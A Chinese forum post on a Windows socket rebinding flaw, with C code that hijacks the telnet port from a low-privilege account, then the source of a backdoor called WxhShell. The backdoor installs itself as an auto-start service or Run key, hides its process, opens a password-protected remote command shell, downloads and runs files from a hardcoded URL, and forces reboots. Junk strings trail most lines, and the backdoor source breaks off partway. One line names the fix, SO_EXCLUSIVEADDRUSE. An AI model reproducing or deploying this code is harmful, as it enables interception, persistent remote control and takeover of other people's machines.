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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1OKJE(T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hCrgN?M z  
vJs /ett  
  saddr.sin_family = AF_INET; 7 #`:m|$  
"~ 6B C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *{bqHMd4L  
7dRU7p>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uq_SF.a'v  
}K\_N]#6n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u-$AFSt  
+iR ;D$w  
  这意味着什么?意味着可以进行如下的攻击: aJ ts  
Hqk2W*UTl  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )sr]}S0  
 Qy%/+9L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lj#6K@u@Z  
!.A>)+AK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fr7/%{s  
Y;WrfO$J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }HzZj;O^2>  
0ni5:tYy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R_&>iu'[  
1vr/|RWW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gkjZX wp  
n >^?BU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9cQSS'`F  
{rDZKy^f  
  #include uo^>95lkv  
  #include )_ y{^kn3^  
  #include Vl%k:  
  #include    Q] HRg4r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?bEYvHAzg  
  int main() L r,$98Dy  
  { w@4+&v>O  
  WORD wVersionRequested; A@4Cfb@  
  DWORD ret; l d@^ $  
  WSADATA wsaData; 5y)kQ<x"  
  BOOL val; Z'~5L_.]Ai  
  SOCKADDR_IN saddr; &*}S 0  
  SOCKADDR_IN scaddr; pfG:P rZ  
  int err; YY9q'x,w  
  SOCKET s; (.cT<(TB  
  SOCKET sc; d0,I] "  
  int caddsize; "v06F j>q  
  HANDLE mt; S70ERRk  
  DWORD tid;   l40$}!!<  
  wVersionRequested = MAKEWORD( 2, 2 ); 6 eBQ9XV  
  err = WSAStartup( wVersionRequested, &wsaData ); ETIf x)B-  
  if ( err != 0 ) { 2+'&||h  
  printf("error!WSAStartup failed!\n"); z"-Urd^O  
  return -1; pGC`HTo|  
  } +RM3EvglDQ  
  saddr.sin_family = AF_INET; tPUQ"S  
   ?'%&2M zM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kfi A 7W  
JBqzQ^[n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R#t~i&v/  
  saddr.sin_port = htons(23); psMagzr&)e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4xlsdq8`t  
  { &HE8O}<>  
  printf("error!socket failed!\n"); REJ}T:  
  return -1; ;rFa I^  
  } srC jq  
  val = TRUE; 1yo@CaW[\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;RrfE8mGj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) # a3Q<%V  
  { H/b(dbs  
  printf("error!setsockopt failed!\n"); yP@= x!$  
  return -1; } E=mZZ)  
  } m=R4A4Y7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U> >J_2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o)$sZ{` ="  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @ZmpcoDI  
3|A"CU/z@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6 3HxQH  
  { 0YS*=J"7z  
  ret=GetLastError(); Ai/#C$MY$  
  printf("error!bind failed!\n"); (GeJBw,Q  
  return -1; NT/}}vES  
  } @{a(f;  
  listen(s,2); oyHjdPdY#  
  while(1) oxRu:+N  
  { H;^6%HV1  
  caddsize = sizeof(scaddr); mr*zl*  
  //接受连接请求 @/9> /?JP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8E" .y$AW  
  if(sc!=INVALID_SOCKET) a; "+Py  
  { ScI9.{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W] lFwj  
  if(mt==NULL) qP"m819m  
  { NENbr$,G  
  printf("Thread Creat Failed!\n"); {\%x{  
  break; GVg0)}  
  } a+X X?uN{  
  } a\zbi$S  
  CloseHandle(mt); r1[0#5kJ;J  
  } 2]7nw1&  
  closesocket(s); KT8Fn+  
  WSACleanup(); N=wB1gJ  
  return 0; &W ~,q(  
  }   | o?@Eh  
  DWORD WINAPI ClientThread(LPVOID lpParam) W6)A":`  
  { {u:DC4eut  
  SOCKET ss = (SOCKET)lpParam; A_[65'*b  
  SOCKET sc; =.uE(L`]NA  
  unsigned char buf[4096]; }NUP[%  
  SOCKADDR_IN saddr; ThHK1{87X}  
  long num; M]&9Kg3   
  DWORD val; <mpkkCl,  
  DWORD ret; ;xb:{?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EZ$m4: {e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k`N)-`O7  
  saddr.sin_family = AF_INET; ON$u581 y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AttDD{Ta  
  saddr.sin_port = htons(23); Q%85,L^U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lwK Au!l  
  { I|p(8 R!  
  printf("error!socket failed!\n"); $,R|$0B7  
  return -1; mtHw!*  
  } l<gg5 Zea  
  val = 100; 0iwx$u 7[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iR_X,&p   
  { N~a?0x  
  ret = GetLastError(); d9E:LZy  
  return -1; YS;Q l\4   
  } 6@bO3K|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gHTo|2 Q{  
  { v67o>`<$  
  ret = GetLastError();  _G`kj{J  
  return -1; (_d^i Zyf  
  } /N~.,vf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :#+VH_%N  
  { fSSDOH!U,  
  printf("error!socket connect failed!\n"); +4)Kc9S#  
  closesocket(sc); VPf=LSxJe  
  closesocket(ss); HQ]g{JVld\  
  return -1; 7ZN0_Q s  
  } rtOXK4)]I  
  while(1) B[8  
  {  snX5mD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z0c_&@uj*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8)T.[AP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >R :Bkf-  
  num = recv(ss,buf,4096,0); O[$ &]>x]]  
  if(num>0) 8E|S`I  
  send(sc,buf,num,0); (A?/D!y  
  else if(num==0) wVp  
  break; v\&Wb_;A  
  num = recv(sc,buf,4096,0); }" A.[9 b  
  if(num>0) ZXp=QH+f  
  send(ss,buf,num,0); z`'{l {  
  else if(num==0) @'dtlY5;  
  break; YX- G>.Pc  
  } *;Sj&O  
  closesocket(ss); b1_HDC(  
  closesocket(sc); IRD?.K]*  
  return 0 ; |LWG7 ZE  
  } ]M#_o]  
iFpJ /L  
.]P@{T||Y  
========================================================== }ufH![|[r  
>=$( ,8"  
下边附上一个代码,,WXhSHELL 85m_jmh[  
tK0?9M.)  
========================================================== V D-,)f  
[$f  
#include "stdafx.h" 1^$ vmULj  
r6JdF!\d  
#include <stdio.h> Q/L:0ovR  
#include <string.h> kbiMqiPG  
#include <windows.h> r65/O5F  
#include <winsock2.h> d/N&bTg:  
#include <winsvc.h> h9$Ov`N(%  
#include <urlmon.h> 3y<;fdS7  
6f(K'v  
#pragma comment (lib, "Ws2_32.lib") xV}-[W5sr'  
#pragma comment (lib, "urlmon.lib") 6o!+E@V b  
?o?~Df&  
#define MAX_USER   100 // 最大客户端连接数 "1yXOy^2  
#define BUF_SOCK   200 // sock buffer Fn1|Wt*  
#define KEY_BUFF   255 // 输入 buffer n}}$-xl  
rISg`-  
#define REBOOT     0   // 重启 p78X,44xg  
#define SHUTDOWN   1   // 关机 1UT&kD!si  
z q _*)V  
#define DEF_PORT   5000 // 监听端口 iW9G0Ay  
'+JU(x{CCl  
#define REG_LEN     16   // 注册表键长度 N8_ c%6GE  
#define SVC_LEN     80   // NT服务名长度 rK7m(  
4:WN-[xX  
// 从dll定义API F=bX\T7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V]&0"HX2r!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <XDYnWz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x(ue |UG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /J9|.];%r  
unY+/p $  
// wxhshell配置信息 /-4rcC  
struct WSCFG { N D`?T &PK  
  int ws_port;         // 监听端口 Y`.FSs  
  char ws_passstr[REG_LEN]; // 口令 fq-e2MCX5  
  int ws_autoins;       // 安装标记, 1=yes 0=no ezS@LFaA  
  char ws_regname[REG_LEN]; // 注册表键名 q &]I  
  char ws_svcname[REG_LEN]; // 服务名 t4X:I&l-M:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 68 vu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _=S 4H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?H3Ls~R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D;*P'%_Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +`'=K ;{U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2 ,RO  
bVO{,P2 o  
}; `v) :|Q  
B~xT:r  
// default Wxhshell configuration js^+{~  
struct WSCFG wscfg={DEF_PORT, Ti:PKpc  
    "xuhuanlingzhe", K8,Q^!5]"  
    1, .ww~'5b0  
    "Wxhshell", :|%k*z  
    "Wxhshell", %zsY=qT  
            "WxhShell Service", ,}?x!3  
    "Wrsky Windows CmdShell Service", c%tb6@C  
    "Please Input Your Password: ", % s&l^&ux  
  1, N/CL?Z>c  
  "http://www.wrsky.com/wxhshell.exe", ny'?Hl'Q  
  "Wxhshell.exe" U|yXJ.Z3  
    }; vM5yiHI(jb  
KFZ2%:6>  
// 消息定义模块 +J [<zxh\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _[IOPHa"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /zV&ebN]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;=r_R!d@  
char *msg_ws_ext="\n\rExit."; {^(h*zxn  
char *msg_ws_end="\n\rQuit."; fXD9w1  
char *msg_ws_boot="\n\rReboot..."; `-yo-59E[  
char *msg_ws_poff="\n\rShutdown..."; Fp=O:]  
char *msg_ws_down="\n\rSave to "; !79eF)  
# O<,  
char *msg_ws_err="\n\rErr!"; ; D'6sd"  
char *msg_ws_ok="\n\rOK!"; >x'R7z23  
N5K\h}'%  
char ExeFile[MAX_PATH]; Z8 eB5!$  
int nUser = 0; IPHZ~'M  
HANDLE handles[MAX_USER]; ,y5,+:Y ~  
int OsIsNt; P]cC2L@Vbi  
bSJ@ 5qS  
SERVICE_STATUS       serviceStatus; ,#?iu?i/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^W#161&  
Z/G`8|A  
// 函数声明 8=kIN-l_  
int Install(void); #X 1 GL  
int Uninstall(void); 2;2FyKF(  
int DownloadFile(char *sURL, SOCKET wsh); Iy[TEB  
int Boot(int flag); D[i?T3i  
void HideProc(void); 05SK$ Y<<  
int GetOsVer(void); h[*:\P`  
int Wxhshell(SOCKET wsl); F .h A.E  
void TalkWithClient(void *cs); v=8sj{g3,3  
int CmdShell(SOCKET sock); tleWJR8oc  
int StartFromService(void); "@ 1+l&  
int StartWxhshell(LPSTR lpCmdLine); FW=`Fm@z%%  
Nl$b;~ u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r{mj[N'@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }+] l_!v*  
X5_T?  
// 数据结构和表定义 @y1:=["b  
SERVICE_TABLE_ENTRY DispatchTable[] = H"5=z7w  
{ \Dlmrke  
{wscfg.ws_svcname, NTServiceMain}, ,uo K'_  
{NULL, NULL} 1Y+g^Z;G  
}; U,Q  
IEmjWw4  
// 自我安装 o{[w6^D7  
int Install(void) |&u4Q /0  
{ dQljG.PiK  
  char svExeFile[MAX_PATH]; BS*Y3$  
  HKEY key; XU5GmGu_+  
  strcpy(svExeFile,ExeFile); vCX 54  
0]k-0#JM  
// 如果是win9x系统,修改注册表设为自启动 4"^v]&I  
if(!OsIsNt) { &9OnN<mT1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jCp^CNbA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2QIx~Er  
  RegCloseKey(key); y?P4EVknM3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4ux^K:z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Q'~3Ik  
  RegCloseKey(key); [6cF#_)*  
  return 0; lY$9-Q(  
    } 7 MZ(tOR  
  } 328gTP1  
} CpLLsphy  
else { qw<~v?{|C  
iy-~CPNB_  
// 如果是NT以上系统,安装为系统服务 Fa+#bX7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T|^KG<uPV!  
if (schSCManager!=0) R1?LB"aN  
{ ]5a,%*f+  
  SC_HANDLE schService = CreateService 9M;k(B!  
  ( 2A&Y})D  
  schSCManager, 8, " 5z_  
  wscfg.ws_svcname, n?mV(?N  
  wscfg.ws_svcdisp, 9.>he+  
  SERVICE_ALL_ACCESS, 4Ai#$SHLm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lj2Au_5  
  SERVICE_AUTO_START, zvOSQxGQ  
  SERVICE_ERROR_NORMAL, + 'V ,z  
  svExeFile, HDHC9E6  
  NULL, }cO}H2m  
  NULL, |%$mN{  
  NULL, {Rtl<W0  
  NULL, Q@ghQGn#  
  NULL -izZ D  
  ); VMl)_M:'  
  if (schService!=0) 6 ~+/cY-V  
  { 0eFvcH:qG  
  CloseServiceHandle(schService); I><sK-3  
  CloseServiceHandle(schSCManager); Qm@v}pD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FA$1&Fu3Y  
  strcat(svExeFile,wscfg.ws_svcname); (5h+b_eB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l*-$H$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jty/gjK+  
  RegCloseKey(key); rUDMQxLruV  
  return 0; zlhI\jRdc  
    } p<8Ga.kiN  
  } 3?r?)$Jk  
  CloseServiceHandle(schSCManager); m\eYm;R Vj  
} ~8tb^  
} 9B9:lR  
h(gpq SN  
return 1; ' }T6dS  
} n-x%<j(Xf  
R4 AKp1Y  
// 自我卸载 Sp\ 7  
int Uninstall(void) {GhM,-%e  
{ &Xp<%[:  
  HKEY key; NsF8`r g  
eUEO~M2&U{  
if(!OsIsNt) { EZ)$lw/!J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wq>0W 4(  
  RegDeleteValue(key,wscfg.ws_regname); Z"5ewU<?  
  RegCloseKey(key); &Ef_p-e-P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !8}x6  
  RegDeleteValue(key,wscfg.ws_regname); m!sMr^W  
  RegCloseKey(key); E3d# T  
  return 0; "zx4k8  
  } h ngdeGa  
} 8omk4 ;  
} &uLC{Ik}  
else { '[`pU>9  
{wCzm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cUD}SOW  
if (schSCManager!=0) ";*Iwd*V  
{ 't#E-+o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CAtdx!  
  if (schService!=0) TKrh3   
  { D)GD9MJ  
  if(DeleteService(schService)!=0) { -iySU 6  
  CloseServiceHandle(schService); vJfj1 f  
  CloseServiceHandle(schSCManager); |yYu!+U  
  return 0; 2>h.K/pC  
  } n+H);Dg<8  
  CloseServiceHandle(schService); DcX,o*ec!  
  } |n*<H|  
  CloseServiceHandle(schSCManager);  o\-:  
} %Kc2n9W  
} Hmv@7$9s\  
~]C m  
return 1; gQlL0jAV  
} @ZtDjxN &  
]`u_d}`  
// 从指定url下载文件 m8NKuhu  
int DownloadFile(char *sURL, SOCKET wsh) OE[N$,4I*  
{ MtXTh*4  
  HRESULT hr; xy Pz_9  
char seps[]= "/"; C?fa-i0l^  
char *token; 65AG# O5R  
char *file; D9-D%R,  
char myURL[MAX_PATH]; D/TEx2.=J3  
char myFILE[MAX_PATH]; G;yh$n<"  
+/Qgl  
strcpy(myURL,sURL); ?0hEd9TU  
  token=strtok(myURL,seps); 9MR,3/&N  
  while(token!=NULL) Mhiz{Td  
  { k \V6 q9*  
    file=token; V^E.9fs,  
  token=strtok(NULL,seps); wC>Xu.Z:  
  } |z]--h  
$i.)1.x  
GetCurrentDirectory(MAX_PATH,myFILE); jyFXAs2  
strcat(myFILE, "\\");  KSB{Z TE  
strcat(myFILE, file); qJq2Z.>hy  
  send(wsh,myFILE,strlen(myFILE),0); .vk|aIG  
send(wsh,"...",3,0); az;o7[rI^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =.yKl*WV{  
  if(hr==S_OK) %2z] 2@  
return 0; q8[I` V{  
else (vb8Mk  
return 1; =x^b  
OM 4, Sevk  
} ~CQTPR  
7FvtWE*  
// 系统电源模块 %:vMD  
int Boot(int flag) }RN&w ]<  
{ fFNwmH-jv  
  HANDLE hToken; j/PNi@  
  TOKEN_PRIVILEGES tkp; GEQ3r'B|  
HL34pmc  
  if(OsIsNt) { cgF?[Z+x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C3z#A3&J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lCC(N?%Q  
    tkp.PrivilegeCount = 1; J-)9>~[E<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^L +@oS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )ND%MYJSq  
if(flag==REBOOT) { `D9AtN] R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "*N=aHsj  
  return 0; / +9o?Kxya  
} w|0w<K  
else { Ed+"F{!eQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xIb^x=|h  
  return 0; 72;ot`  
} 0Z<&M|G  
  } QGpAG#M9?  
  else { .uwD;j +#  
if(flag==REBOOT) { !i77v, (#|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +8~C&K:  
  return 0; 4g}'/  
} Vi o ~2  
else { qmWn$,ax  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ubZcpqm?Q  
  return 0; #CYDh8X<i  
} d]<S/D'i  
} 7GVI={ b  
Z[pMlg6Z  
return 1; /Xo8 kC  
} u[;,~eB%w  
** !  
// win9x进程隐藏模块 ~qj09  
void HideProc(void) @.SuHd  
{ 1w/Ur'8we  
D`C#O 7.N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TE!+G\@  
  if ( hKernel != NULL ) PGaYYc3X  
  { @ky<5r*JU(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cTQ]0<9:e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H 6~6hg  
    FreeLibrary(hKernel); QFYO_$1 Y)  
  } x{.+i'  
H@%Y"iIUP  
return; W{z{AxS  
} fu]mxGPc  
t/`~(0F  
// 获取操作系统版本 H:jx_  
int GetOsVer(void) {ICW"R lcs  
{ a/v!W@Zz}  
  OSVERSIONINFO winfo; X:1&Pdi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }aC@ov]2  
  GetVersionEx(&winfo); Sh+$w=vC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;"N4Yflz  
  return 1; DbH"e  
  else . vJlTg  
  return 0; K,' v{wSr  
} K6s%=.Zi(  
i`hr'}x  
// 客户端句柄模块 UBZ37P  
int Wxhshell(SOCKET wsl) mtunD;_Dek  
{ 2MQ XtK  
  SOCKET wsh; bxrT[]  
  struct sockaddr_in client; N(W;\>P  
  DWORD myID; X@ j.$0 eK  
k6b0&il  
  while(nUser<MAX_USER) @V>BG8Y  
{ CfMCc:8mL  
  int nSize=sizeof(client); rQ*Fc~^L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2/ES.>K!.  
  if(wsh==INVALID_SOCKET) return 1; |0Y: /uL#)  
VsJ4sb7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i3[%]_eP.  
if(handles[nUser]==0) psaPrE  
  closesocket(wsh); v+b#8  
else <QcQ.b  
  nUser++; k/;%{@G)  
  } K\3N_ztu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PDi]zp9>H  
E@(nKe&6T_  
  return 0; Jdc{H/10  
} gFQ\zOlY8a  
f}%paE"  
// 关闭 socket -\dcs?  
void CloseIt(SOCKET wsh) Vhi4_~W3j]  
{ DY(pU/q  
closesocket(wsh); h%*@82DKK  
nUser--; (Q4hm]<  
ExitThread(0); XGCjB{IV  
} }8e_  
j'QPJ(`~1l  
// 客户端请求句柄 K}j["p<!  
void TalkWithClient(void *cs) aB*'DDlx"r  
{ P]mJ01@'  
TEN~3 Ef#  
  SOCKET wsh=(SOCKET)cs; }gR!]Cs)^  
  char pwd[SVC_LEN]; 618k-  
  char cmd[KEY_BUFF]; #q mv(VB4  
char chr[1]; z?I"[M  
int i,j; +~[>Usf  
3Ud{W$Ym  
  while (nUser < MAX_USER) { dWK"Tkf\  
!-cK@>.pE  
if(wscfg.ws_passstr) { GVK c4HGt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1&.q#,EMn(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $c0<I59&|  
  //ZeroMemory(pwd,KEY_BUFF); f]C`]qg  
      i=0; @yj$  
  while(i<SVC_LEN) { KKcajN  
\M U-D,@  
  // 设置超时 WM8])}<L  
  fd_set FdRead; z55g'+Kab  
  struct timeval TimeOut; AdgZau[Y6  
  FD_ZERO(&FdRead); iz-B)^8.  
  FD_SET(wsh,&FdRead); WZ6'"Cz`  
  TimeOut.tv_sec=8; kuI$VC  
  TimeOut.tv_usec=0; JUpb*B_z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _X]\#^UiO2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6'[gd  
]VcuD05"C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l&Cy K#B:\  
  pwd=chr[0]; F(DM$5z[  
  if(chr[0]==0xd || chr[0]==0xa) { &y&pjo6v1  
  pwd=0; o#\c:D*k  
  break; s^R$u"pFs  
  } 3\2^LILLO  
  i++; eZdFfmYW^R  
    } 'A{B[  
C-sFTf7  
  // 如果是非法用户,关闭 socket ^9zlxs`<d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZuNUha&a  
} 9  M90X8  
[U@ ;EeS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EL^j}P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ov~vK\  
"UUoT  
while(1) { +|6E~#zklY  
}Dx5W9Ri"  
  ZeroMemory(cmd,KEY_BUFF); fJK;[*&Y  
9 Eqv^0u  
      // 自动支持客户端 telnet标准   <El!,UBq<  
  j=0; a^eR~efdu@  
  while(j<KEY_BUFF) { "BA&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9WT{~PGj  
  cmd[j]=chr[0]; E4N"|u|   
  if(chr[0]==0xa || chr[0]==0xd) { 9ePR6WS4  
  cmd[j]=0; r*kz`cJ  
  break; ^ ~kfo|  
  } 9|l6.$Me/  
  j++; d04fj/B  
    } t;b1<TLn0  
5;CqGzgoP  
  // 下载文件 >>T,M@s-:  
  if(strstr(cmd,"http://")) { nU23D@l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =6d'/D#J  
  if(DownloadFile(cmd,wsh)) Zfc{}ius  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?KM}<$(O  
  else },%, v2}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ij?Qs{V  
  } 30{+gYA  
  else { %*^s%NI  
@@5Ju I-!  
    switch(cmd[0]) { {`+:!X   
  q rF:=?`E  
  // 帮助 xgJyG.?  
  case '?': { p?#xd!tc2N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /xb37,   
    break; gJg%3K~,  
  } $xK(bc'{  
  // 安装 `{&l _  
  case 'i': { I#- T/1N  
    if(Install()) 5|g#>sx>`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F>U*Wy  
    else g+QNIM>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nnuJY$O;M  
    break; |k<5yj4?  
    } (AT)w/  
  // 卸载 kPYQcOK8  
  case 'r': { RY9Ur  
    if(Uninstall()) -ze@~Z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NC%)SG \  
    else OyATb{`'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yJ2A!id  
    break; ,ik\MSS  
    } ]//D d/L6  
  // 显示 wxhshell 所在路径 oRHWb_$"  
  case 'p': { cHUj6'neO  
    char svExeFile[MAX_PATH]; Tl S 904'  
    strcpy(svExeFile,"\n\r"); t<yOTVah  
      strcat(svExeFile,ExeFile); 6Z!OD(/e  
        send(wsh,svExeFile,strlen(svExeFile),0); rp!>rM] s  
    break; ka<rlh<h  
    } }qN   
  // 重启 t Z]b0T(e  
  case 'b': { ,%]x T>kH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fH 0&Wc3yC  
    if(Boot(REBOOT)) WZf}1.Mh*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_E@cZ4  
    else { \SA$:^zO  
    closesocket(wsh); V]|P>>`v9p  
    ExitThread(0); lt|UehJ F  
    } rlSflcK\\(  
    break; |c:xK{Ik  
    } ~c|{PZ9U  
